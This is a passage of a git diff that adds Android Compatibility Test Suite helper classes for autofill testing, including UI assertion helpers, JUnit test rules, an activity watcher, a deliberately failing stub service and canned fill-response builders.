+     * that amount of time as there is no callback that be received to assert it's not shown.
+     */
+    public static final long AUGMENTED_UI_NOT_SHOWN_NAPTIME_MS = ONE_NAPTIME_TO_RULE_THEN_ALL_MS;
+
+    private AugmentedTimeouts() {
+        throw new UnsupportedOperationException("contain static methods only");
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/AugmentedUiBot.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/AugmentedUiBot.java
new file mode 100644
index 0000000..825db8f
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/AugmentedUiBot.java
@@ -0,0 +1,92 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.testcore;
+
+import static android.autofillservice.cts.testcore.AugmentedHelper.getContentDescriptionForUi;
+import static android.autofillservice.cts.testcore.AugmentedTimeouts.AUGMENTED_FILL_TIMEOUT;
+import static android.autofillservice.cts.testcore.AugmentedTimeouts.AUGMENTED_UI_NOT_SHOWN_NAPTIME_MS;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.autofillservice.cts.R;
+import android.support.test.uiautomator.UiObject2;
+import android.view.autofill.AutofillId;
+
+import androidx.annotation.NonNull;
+
+import com.google.common.base.Preconditions;
+
+import java.util.Objects;
+
+/**
+ * Helper for UI-related needs.
+ */
+public final class AugmentedUiBot {
+
+    private final UiBot mUiBot;
+    private boolean mOkToCallAssertUiGone;
+
+    public AugmentedUiBot(@NonNull UiBot uiBot) {
+        mUiBot = uiBot;
+    }
+
+    /**
+     * Asserts the augmented autofill UI was never shown.
+     *
+     * <p>This method is slower than {@link #assertUiGone()} and should only be called in the
+     * cases where the dataset picker was not previous shown.
+     */
+    public void assertUiNeverShown() throws Exception {
+        mUiBot.assertNeverShownByRelativeId("augmented autofil UI", R.id.augmentedAutofillUi,
+                AUGMENTED_UI_NOT_SHOWN_NAPTIME_MS);
+    }
+
+    /**
+     * Asserts the augmented autofill UI was shown.
+     *
+     * @param focusedId where it should have been shown
+     * @param expectedText the expected text in the UI
+     */
+    public UiObject2 assertUiShown(@NonNull AutofillId focusedId,
+            @NonNull String expectedText) throws Exception {
+        Objects.requireNonNull(focusedId);
+        Objects.requireNonNull(expectedText);
+
+        final UiObject2 ui = mUiBot.assertShownByRelativeId(R.id.augmentedAutofillUi);
+
+        assertWithMessage("Wrong text on UI").that(ui.getText()).isEqualTo(expectedText);
+
+        final String expectedContentDescription = getContentDescriptionForUi(focusedId);
+        assertWithMessage("Wrong content description on UI")
+                .that(ui.getContentDescription()).isEqualTo(expectedContentDescription);
+
+        mOkToCallAssertUiGone = true;
+
+        return ui;
+    }
+
+    /**
+     * Asserts the augmented autofill UI is gone AFTER it was previously shown.
+     *
+     * @throws IllegalStateException if this method is called without calling
+     * {@link #assertUiShown(AutofillId, String)} before.
+     */
+    public void assertUiGone() {
+        Preconditions.checkState(mOkToCallAssertUiGone, "must call assertUiShown() first");
+        mUiBot.assertGoneByRelativeId(R.id.augmentedAutofillUi, AUGMENTED_FILL_TIMEOUT);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/AutofillActivityTestRule.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/AutofillActivityTestRule.java
new file mode 100644
index 0000000..4e75871
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/AutofillActivityTestRule.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.testcore;
+
+import android.autofillservice.cts.activities.AbstractAutoFillActivity;
+
+import androidx.test.rule.ActivityTestRule;
+
+/**
+ * Custom {@link ActivityTestRule}.
+ */
+public class AutofillActivityTestRule<T extends AbstractAutoFillActivity>
+        extends ActivityTestRule<T> {
+
+    public AutofillActivityTestRule(Class<T> activityClass) {
+        super(activityClass);
+    }
+
+    public AutofillActivityTestRule(Class<T> activityClass, boolean launchActivity) {
+        super(activityClass, false, launchActivity);
+    }
+
+    @Override
+    protected void afterActivityFinished() {
+        // AutofillTestWatcher does not need to watch for this activity as the ActivityTestRule
+        // will take care of finishing it...
+        AutofillTestWatcher.unregisterActivity("AutofillActivityTestRule.afterActivityFinished()",
+                getActivity());
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/AutofillLoggingTestRule.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/AutofillLoggingTestRule.java
new file mode 100644
index 0000000..04ce7e0
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/AutofillLoggingTestRule.java
@@ -0,0 +1,98 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.testcore;
+
+import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
+
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+
+import com.android.compatibility.common.util.SafeCleanerRule;
+
+import org.junit.AssumptionViolatedException;
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+/**
+ * Custom JUnit4 rule that improves autofill-related logging by:
+ *
+ * <ol>
+ *   <li>Setting logging level to verbose before test start.
+ *   <li>Call {@code dumpsys autofill} in case of failure.
+ * </ol>
+ */
+public class AutofillLoggingTestRule implements TestRule, SafeCleanerRule.Dumper {
+
+    private static final String TAG = "AutofillLoggingTestRule";
+
+    private final String mTag;
+    private boolean mDumped;
+
+    public AutofillLoggingTestRule(String tag) {
+        mTag = tag;
+    }
+
+    @Override
+    public Statement apply(Statement base, Description description) {
+        return new Statement() {
+
+            @Override
+            public void evaluate() throws Throwable {
+                final String testName = description.getDisplayName();
+                final String levelBefore = runShellCommand("cmd autofill get log_level");
+                if (!levelBefore.equals("verbose")) {
+                    runShellCommand("cmd autofill set log_level verbose");
+                }
+                try {
+                    base.evaluate();
+                } catch (Throwable t) {
+                    dump(testName, t);
+                    throw t;
+                } finally {
+                    try {
+                        if (!levelBefore.equals("verbose")) {
+                            runShellCommand("cmd autofill set log_level %s", levelBefore);
+                        }
+                    } finally {
+                        Log.v(TAG, "@After " + testName);
+                    }
+                }
+            }
+        };
+    }
+
+    @Override
+    public void dump(@NonNull String testName, @NonNull Throwable t) {
+        if (mDumped) {
+            Log.e(mTag, "dump(" + testName + "): already dumped");
+            return;
+        }
+        if ((t instanceof AssumptionViolatedException)) {
+            // This exception is used to indicate a test should be skipped and is
+            // ignored by JUnit runners - we don't need to dump it...
+            Log.w(TAG, "ignoring exception: " + t);
+            return;
+        }
+        Log.e(mTag, "Dumping after exception on " + testName, t);
+        Helper.dumpAutofillService(mTag);
+        final String activityDump = runShellCommand("dumpsys activity top");
+        Log.e(mTag, "top activity dump: \n" + activityDump);
+        mDumped = true;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/AutofillTestWatcher.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/AutofillTestWatcher.java
new file mode 100644
index 0000000..fe5c674
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/AutofillTestWatcher.java
@@ -0,0 +1,166 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.testcore;
+
+import android.autofillservice.cts.activities.AbstractAutoFillActivity;
+import android.util.ArraySet;
+import android.util.Log;
+
+import androidx.annotation.GuardedBy;
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.TestNameUtils;
+
+import org.junit.rules.TestWatcher;
+import org.junit.runner.Description;
+
+import java.util.Set;
+
+/**
+ * Custom {@link TestWatcher} that's the outer rule of all {@link AutoFillServiceTestCase} tests.
+ *
+ * <p>This class is not thread safe, but should be fine...
+ */
+public final class AutofillTestWatcher extends TestWatcher {
+
+    /**
+     * Cleans up all launched activities between the tests and retries.
+     */
+    public void cleanAllActivities() {
+        try {
+            finishActivities();
+            waitUntilAllDestroyed();
+        } finally {
+            resetStaticState();
+        }
+    }
+
+    private static final String TAG = "AutofillTestWatcher";
+
+    @GuardedBy("sUnfinishedBusiness")
+    private static final Set<AbstractAutoFillActivity> sUnfinishedBusiness = new ArraySet<>();
+
+    @GuardedBy("sAllActivities")
+    private static final Set<AbstractAutoFillActivity> sAllActivities = new ArraySet<>();
+
+    @Override
+    protected void starting(Description description) {
+        resetStaticState();
+        final String testName = description.getDisplayName();
+        Log.i(TAG, "Starting " + testName);
+        TestNameUtils.setCurrentTestName(testName);
+    }
+
+    @Override
+    protected void finished(Description description) {
+        InstrumentationRegistry.getInstrumentation().waitForIdleSync();
+        final String testName = description.getDisplayName();
+        cleanAllActivities();
+        Log.i(TAG, "Finished " + testName);
+        TestNameUtils.setCurrentTestName(null);
+    }
+
+    private void resetStaticState() {
+        synchronized (sUnfinishedBusiness) {
+            sUnfinishedBusiness.clear();
+        }
+        synchronized (sAllActivities) {
+            sAllActivities.clear();
+        }
+    }
+
+    /**
+     * Registers an activity so it's automatically finished (if necessary) after the test.
+     */
+    public static void registerActivity(@NonNull String where,
+            @NonNull AbstractAutoFillActivity activity) {
+        synchronized (sUnfinishedBusiness) {
+            if (sUnfinishedBusiness.contains(activity)) {
+                throw new IllegalStateException("Already registered " + activity);
+            }
+            Log.v(TAG, "registering activity on " + where + ": " + activity);
+            sUnfinishedBusiness.add(activity);
+            sAllActivities.add(activity);
+        }
+        synchronized (sAllActivities) {
+            sAllActivities.add(activity);
+
+        }
+    }
+
+    /**
+     * Unregisters an activity so it's not automatically finished after the test.
+     */
+    public static void unregisterActivity(@NonNull String where,
+            @NonNull AbstractAutoFillActivity activity) {
+        synchronized (sUnfinishedBusiness) {
+            final boolean unregistered = sUnfinishedBusiness.remove(activity);
+            if (unregistered) {
+                Log.d(TAG, "unregistered activity on " + where + ": " + activity);
+            } else {
+                Log.v(TAG, "ignoring already unregistered activity on " + where + ": " + activity);
+            }
+        }
+    }
+
+    /**
+     * Gets the instance of a previously registered activity.
+     */
+    @Nullable
+    public static <A extends AbstractAutoFillActivity> A getActivity(@NonNull Class<A> clazz) {
+        @SuppressWarnings("unchecked")
+        final A activity = (A) sAllActivities.stream().filter(a -> a.getClass().equals(clazz))
+                .findFirst()
+                .get();
+        return activity;
+    }
+
+    private void finishActivities() {
+        synchronized (sUnfinishedBusiness) {
+            if (sUnfinishedBusiness.isEmpty()) {
+                return;
+            }
+            Log.d(TAG, "Manually finishing " + sUnfinishedBusiness.size() + " activities");
+            for (AbstractAutoFillActivity activity : sUnfinishedBusiness) {
+                if (activity.isFinishing()) {
+                    Log.v(TAG, "Ignoring activity that isFinishing(): " + activity);
+                } else {
+                    Log.d(TAG, "Finishing activity: " + activity);
+                    activity.finishOnly();
+                }
+            }
+        }
+    }
+
+    private void waitUntilAllDestroyed() {
+        synchronized (sAllActivities) {
+            if (sAllActivities.isEmpty()) return;
+
+            Log.d(TAG, "Waiting until " + sAllActivities.size() + " activities are destroyed");
+            for (AbstractAutoFillActivity activity : sAllActivities) {
+                Log.d(TAG, "Waiting for " + activity);
+                try {
+                    activity.waitUntilDestroyed(Timeouts.ACTIVITY_RESURRECTION);
+                } catch (InterruptedException e) {
+                    Log.e(TAG, "interrupted waiting for " + activity + " to be destroyed");
+                    Thread.currentThread().interrupt();
+                }
+            }
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/BadAutofillService.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/BadAutofillService.java
new file mode 100644
index 0000000..6165083
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/BadAutofillService.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.testcore;
+
+import android.os.CancellationSignal;
+import android.service.autofill.AutofillService;
+import android.service.autofill.FillCallback;
+import android.service.autofill.FillRequest;
+import android.service.autofill.SaveCallback;
+import android.service.autofill.SaveRequest;
+import android.util.Log;
+
+/**
+ * An {@link AutofillService} implementation that does fails if called upon.
+ */
+public class BadAutofillService extends AutofillService {
+
+    private static final String TAG = "BadAutofillService";
+
+    public static final String SERVICE_NAME = BadAutofillService.class.getPackage().getName()
+            + "/.testcore." + BadAutofillService.class.getSimpleName();
+    public static final String SERVICE_LABEL = "BadAutofillService";
+
+    @Override
+    public void onFillRequest(FillRequest request, CancellationSignal cancellationSignal,
+            FillCallback callback) {
+        Log.e(TAG, "onFillRequest() should never be called");
+        throw new UnsupportedOperationException("onFillRequest() should never be called");
+    }
+
+    @Override
+    public void onSaveRequest(SaveRequest request, SaveCallback callback) {
+        Log.e(TAG, "onSaveRequest() should never be called");
+        throw new UnsupportedOperationException("onSaveRequest() should never be called");
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/CannedAugmentedFillResponse.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/CannedAugmentedFillResponse.java
new file mode 100644
index 0000000..3d874a7
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/CannedAugmentedFillResponse.java
@@ -0,0 +1,422 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.testcore;
+
+import static android.autofillservice.cts.testcore.AugmentedHelper.getContentDescriptionForUi;
+
+import android.autofillservice.cts.R;
+import android.content.ClipData;
+import android.content.ClipDescription;
+import android.content.Context;
+import android.content.IntentSender;
+import android.os.Bundle;
+import android.service.autofill.InlinePresentation;
+import android.service.autofill.augmented.FillCallback;
+import android.service.autofill.augmented.FillController;
+import android.service.autofill.augmented.FillRequest;
+import android.service.autofill.augmented.FillResponse;
+import android.service.autofill.augmented.FillWindow;
+import android.service.autofill.augmented.PresentationParams;
+import android.service.autofill.augmented.PresentationParams.Area;
+import android.util.ArrayMap;
+import android.util.Log;
+import android.util.Pair;
+import android.view.LayoutInflater;
+import android.view.autofill.AutofillId;
+import android.view.autofill.AutofillValue;
+import android.widget.TextView;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Map;
+import java.util.Objects;
+import java.util.stream.Collectors;
+
+/**
+ * Helper class used to produce a {@link FillResponse}.
+ */
+public final class CannedAugmentedFillResponse {
+
+    private static final String TAG = CannedAugmentedFillResponse.class.getSimpleName();
+
+    public static final String CLIENT_STATE_KEY = "clientStateKey";
+    public static final String CLIENT_STATE_VALUE = "clientStateValue";
+
+    private final AugmentedResponseType mResponseType;
+    private final Map<AutofillId, Dataset> mDatasets;
+    private long mDelay;
+    private final Dataset mOnlyDataset;
+    private final @Nullable List<Dataset> mInlineSuggestions;
+
+    private CannedAugmentedFillResponse(@NonNull Builder builder) {
+        mResponseType = builder.mResponseType;
+        mDatasets = builder.mDatasets;
+        mDelay = builder.mDelay;
+        mOnlyDataset = builder.mOnlyDataset;
+        mInlineSuggestions = builder.mInlineSuggestions;
+    }
+
+    /**
+     * Constant used to pass a {@code null} response to the
+     * {@link FillCallback#onSuccess(FillResponse)} method.
+     */
+    public static final CannedAugmentedFillResponse NO_AUGMENTED_RESPONSE =
+            new Builder(AugmentedResponseType.NULL).build();
+
+    /**
+     * Constant used to emulate a timeout by not calling any method on {@link FillCallback}.
+     */
+    public static final CannedAugmentedFillResponse DO_NOT_REPLY_AUGMENTED_RESPONSE =
+            new Builder(AugmentedResponseType.TIMEOUT).build();
+
+    public AugmentedResponseType getResponseType() {
+        return mResponseType;
+    }
+
+    public long getDelay() {
+        return mDelay;
+    }
+
+    /**
+     * Creates the "real" response.
+     */
+    public FillResponse asFillResponse(@NonNull Context context, @NonNull FillRequest request,
+            @NonNull FillController controller) {
+        final AutofillId focusedId = request.getFocusedId();
+
+        final Dataset dataset;
+        if (mOnlyDataset != null) {
+            dataset = mOnlyDataset;
+        } else {
+            dataset = mDatasets.get(focusedId);
+        }
+        if (dataset == null) {
+            Log.d(TAG, "no dataset for field " + focusedId);
+            return null;
+        }
+
+        Log.d(TAG, "asFillResponse: id=" + focusedId + ", dataset=" + dataset);
+
+        final PresentationParams presentationParams = request.getPresentationParams();
+        if (presentationParams == null) {
+            Log.w(TAG, "No PresentationParams");
+            return null;
+        }
+
+        final Area strip = presentationParams.getSuggestionArea();
+        if (strip == null) {
+            Log.w(TAG, "No suggestion strip");
+            return null;
+        }
+
+        if (mInlineSuggestions != null) {
+            return createResponseWithInlineSuggestion();
+        }
+
+        final LayoutInflater inflater = LayoutInflater.from(context);
+        final TextView rootView = (TextView) inflater.inflate(R.layout.augmented_autofill_ui, null);
+
+        Log.d(TAG, "Setting autofill UI text to:" + dataset.mPresentation);
+        rootView.setText(dataset.mPresentation);
+
+        rootView.setContentDescription(getContentDescriptionForUi(focusedId));
+        final FillWindow fillWindow = new FillWindow();
+        rootView.setOnClickListener((v) -> {
+            Log.d(TAG, "Destroying window first");
+            fillWindow.destroy();
+            final List<Pair<AutofillId, AutofillValue>> values;
+            final AutofillValue onlyValue = dataset.getOnlyFieldValue();
+            if (onlyValue != null) {
+                Log.i(TAG, "Autofilling only value for " + focusedId + " as " + onlyValue);
+                values = new ArrayList<>(1);
+                values.add(new Pair<AutofillId, AutofillValue>(focusedId, onlyValue));
+            } else {
+                values = dataset.getValues();
+                Log.i(TAG, "Autofilling: " + AugmentedHelper.toString(values));
+            }
+            controller.autofill(values);
+        });
+
+        boolean ok = fillWindow.update(strip, rootView, 0);
+        if (!ok) {
+            Log.w(TAG, "FillWindow.update() failed for " + strip + " and " + rootView);
+            return null;
+        }
+
+        return new FillResponse.Builder().setFillWindow(fillWindow).build();
+    }
+
+    @Override
+    public String toString() {
+        return "CannedAugmentedFillResponse: [type=" + mResponseType
+                + ", onlyDataset=" + mOnlyDataset
+                + ", datasets=" + mDatasets
+                + "]";
+    }
+
+    public enum AugmentedResponseType {
+        NORMAL,
+        NULL,
+        TIMEOUT,
+    }
+
+    private Bundle newClientState() {
+        Bundle b = new Bundle();
+        b.putString(CLIENT_STATE_KEY, CLIENT_STATE_VALUE);
+        return b;
+    }
+
+    private FillResponse createResponseWithInlineSuggestion() {
+        List<android.service.autofill.Dataset> list = new ArrayList<>();
+        for (Dataset dataset : mInlineSuggestions) {
+            if (!dataset.getValues().isEmpty()) {
+                android.service.autofill.Dataset.Builder datasetBuilder =
+                        new android.service.autofill.Dataset.Builder();
+                for (Pair<AutofillId, AutofillValue> pair : dataset.getValues()) {
+                    final AutofillId id = pair.first;
+                    datasetBuilder.setFieldInlinePresentation(id, pair.second, null,
+                            dataset.mFieldPresentationById.get(id));
+                    datasetBuilder.setAuthentication(dataset.mAuthentication);
+                }
+                list.add(datasetBuilder.build());
+            } else if (dataset.getContent() != null) {
+                Pair<AutofillId, ClipData> fieldContent = dataset.getContent();
+                InlinePresentation inlinePresentation = Helper.createInlinePresentation(
+                        fieldContent.second.getDescription().getLabel().toString());
+                android.service.autofill.Dataset realDataset =
+                        new android.service.autofill.Dataset.Builder(inlinePresentation)
+                                .setContent(fieldContent.first, fieldContent.second)
+                                .setAuthentication(dataset.mAuthentication)
+                                .build();
+                list.add(realDataset);
+            }
+        }
+        return new FillResponse.Builder().setInlineSuggestions(list).setClientState(
+                newClientState()).build();
+    }
+
+    public static final class Builder {
+        private final Map<AutofillId, Dataset> mDatasets = new ArrayMap<>();
+        private final AugmentedResponseType mResponseType;
+        private long mDelay;
+        private Dataset mOnlyDataset;
+        private @Nullable List<Dataset> mInlineSuggestions;
+
+        public Builder(@NonNull AugmentedResponseType type) {
+            mResponseType = type;
+        }
+
+        public Builder() {
+            this(AugmentedResponseType.NORMAL);
+        }
+
+        /**
+         * Sets the {@link Dataset} that will be filled when the given {@code ids} is focused and
+         * the UI is tapped.
+         */
+        @NonNull
+        public Builder setDataset(@NonNull Dataset dataset, @NonNull AutofillId... ids) {
+            if (mOnlyDataset != null) {
+                throw new IllegalStateException("already called setOnlyDataset()");
+            }
+            for (AutofillId id : ids) {
+                mDatasets.put(id, dataset);
+            }
+            return this;
+        }
+
+        /**
+         * The {@link android.service.autofill.Dataset}s representing the inline suggestions data.
+         * Defaults to null if no inline suggestions are available from the service.
+         */
+        @NonNull
+        public Builder addInlineSuggestion(@NonNull Dataset dataset) {
+            if (mInlineSuggestions == null) {
+                mInlineSuggestions = new ArrayList<>();
+            }
+            mInlineSuggestions.add(dataset);
+            return this;
+        }
+
+        /**
+         * Sets the delay for onFillRequest().
+         */
+        public Builder setDelay(long delay) {
+            mDelay = delay;
+            return this;
+        }
+
+        /**
+         * Sets the only dataset that will be returned.
+         *
+         * <p>Used when the test case doesn't know the autofill id of the focused field.
+         * @param dataset
+         */
+        @NonNull
+        public Builder setOnlyDataset(@NonNull Dataset dataset) {
+            if (!mDatasets.isEmpty()) {
+                throw new IllegalStateException("already called setDataset()");
+            }
+            mOnlyDataset = dataset;
+            return this;
+        }
+
+        @NonNull
+        public CannedAugmentedFillResponse build() {
+            return new CannedAugmentedFillResponse(this);
+        }
+    } // CannedAugmentedFillResponse.Builder
+
+
+    /**
+     * Helper class used to define which fields will be autofilled when the user taps the Augmented
+     * Autofill UI.
+     */
+    public static class Dataset {
+        private final Map<AutofillId, AutofillValue> mFieldValuesById;
+        private final Map<AutofillId, InlinePresentation> mFieldPresentationById;
+        private final String mPresentation;
+        private final AutofillValue mOnlyFieldValue;
+        private final Pair<AutofillId, ClipData> mFieldContent;
+        private final IntentSender mAuthentication;
+
+        private Dataset(@NonNull Builder builder) {
+            mFieldValuesById = builder.mFieldValuesById;
+            mPresentation = builder.mPresentation;
+            mOnlyFieldValue = builder.mOnlyFieldValue;
+            mFieldPresentationById = builder.mFieldPresentationById;
+            mFieldContent = (builder.mFieldIdForContent == null) ? null
+                    : Pair.create(builder.mFieldIdForContent, builder.mFieldContent);
+            this.mAuthentication = builder.mAuthentication;
+        }
+
+        @NonNull
+        public List<Pair<AutofillId, AutofillValue>> getValues() {
+            return mFieldValuesById.entrySet().stream()
+                    .map((entry) -> (new Pair<>(entry.getKey(), entry.getValue())))
+                    .collect(Collectors.toList());
+        }
+
+        @Nullable
+        public AutofillValue getOnlyFieldValue() {
+            return mOnlyFieldValue;
+        }
+
+        @Nullable
+        public Pair<AutofillId, ClipData> getContent() {
+            return mFieldContent;
+        }
+
+        @Override
+        public String toString() {
+            return "Dataset: [presentation=" + mPresentation
+                    + (mOnlyFieldValue == null ? "" : ", onlyField=" + mOnlyFieldValue)
+                    + (mFieldValuesById.isEmpty() ? "" : ", fields=" + mFieldValuesById)
+                    + (mFieldContent == null ? "" : ", content=" + mFieldContent)
+                    + (mAuthentication == null ? "" : ", auth=" + mAuthentication)
+                    + "]";
+        }
+
+        public static class Builder {
+            private final Map<AutofillId, AutofillValue> mFieldValuesById = new ArrayMap<>();
+            private final Map<AutofillId, InlinePresentation> mFieldPresentationById =
+                    new ArrayMap<>();
+
+            private final String mPresentation;
+            private AutofillValue mOnlyFieldValue;
+            private AutofillId mFieldIdForContent;
+            private ClipData mFieldContent;
+            private IntentSender mAuthentication;
+
+            public Builder(@NonNull String presentation) {
+                mPresentation = Objects.requireNonNull(presentation);
+            }
+
+            /**
+             * Sets the value that will be autofilled on the field with {@code id}.
+             */
+            public Builder setField(@NonNull AutofillId id, @NonNull String text) {
+                if (mOnlyFieldValue != null || mFieldIdForContent != null) {
+                    throw new IllegalStateException(
+                            "already called setOnlyField() or setContent()");
+                }
+                mFieldValuesById.put(id, AutofillValue.forText(text));
+                return this;
+            }
+
+            /**
+             * Sets the value that will be autofilled on the field with {@code id}.
+             */
+            public Builder setField(@NonNull AutofillId id, @NonNull String text,
+                    @NonNull InlinePresentation presentation) {
+                if (mOnlyFieldValue != null || mFieldIdForContent != null) {
+                    throw new IllegalStateException(
+                            "already called setOnlyField() or setContent()");
+                }
+                mFieldValuesById.put(id, AutofillValue.forText(text));
+                mFieldPresentationById.put(id, presentation);
+                return this;
+            }
+
+            /**
+             * Sets this dataset to return the given {@code text} for the focused field.
+             *
+             * <p>Used when the test case doesn't know the autofill id of the focused field.
+             */
+            public Builder setOnlyField(@NonNull String text) {
+                if (!mFieldValuesById.isEmpty() || mFieldIdForContent != null) {
+                    throw new IllegalStateException("already called setField() or setContent()");
+                }
+                mOnlyFieldValue = AutofillValue.forText(text);
+                return this;
+            }
+
+            /**
+             * Sets the content that will be autofilled on the field with {@code id}.
+             *
+             * <p>The {@link ClipDescription#getLabel() label} of the passed-in {@link ClipData}
+             * will be used as the chip title (the text displayed in the inline suggestion chip).
+             *
+             * <p>For a given field, either a {@link AutofillValue value} or content can be filled,
+             * but not both. Furthermore, when filling content, only a single field can be filled.
+             */
+            @NonNull
+            public Builder setContent(@NonNull AutofillId id, @Nullable ClipData content) {
+                if (!mFieldValuesById.isEmpty() || mOnlyFieldValue != null) {
+                    throw new IllegalStateException("already called setField() or setOnlyField()");
+                }
+                mFieldIdForContent = id;
+                mFieldContent = content;
+                return this;
+            }
+
+            /**
+             * Sets the authentication intent for this dataset.
+             */
+            public Builder setAuthentication(IntentSender authentication) {
+                mAuthentication = authentication;
+                return this;
+            }
+
+            public Dataset build() {
+                return new Dataset(this);
+            }
+        } // Dataset.Builder
+    } // Dataset
+} // CannedAugmentedFillResponse
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/CannedFillResponse.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/CannedFillResponse.java
new file mode 100644
index 0000000..3ec1f12
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/CannedFillResponse.java
@@ -0,0 +1,986 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.testcore;
+
+import static android.autofillservice.cts.testcore.Helper.createInlinePresentation;
+import static android.autofillservice.cts.testcore.Helper.createPresentation;
+import static android.autofillservice.cts.testcore.Helper.getAutofillIds;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.assist.AssistStructure;
+import android.app.assist.AssistStructure.ViewNode;
+import android.content.IntentSender;
+import android.os.Bundle;
+import android.service.autofill.Dataset;
+import android.service.autofill.FillCallback;
+import android.service.autofill.FillContext;
+import android.service.autofill.FillResponse;
+import android.service.autofill.InlinePresentation;
+import android.service.autofill.SaveInfo;
+import android.service.autofill.UserData;
+import android.util.Log;
+import android.util.Pair;
+import android.view.autofill.AutofillId;
+import android.view.autofill.AutofillValue;
+import android.widget.RemoteViews;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.function.Function;
+import java.util.regex.Pattern;
+
+/**
+ * Helper class used to produce a {@link FillResponse} based on expected fields that should be
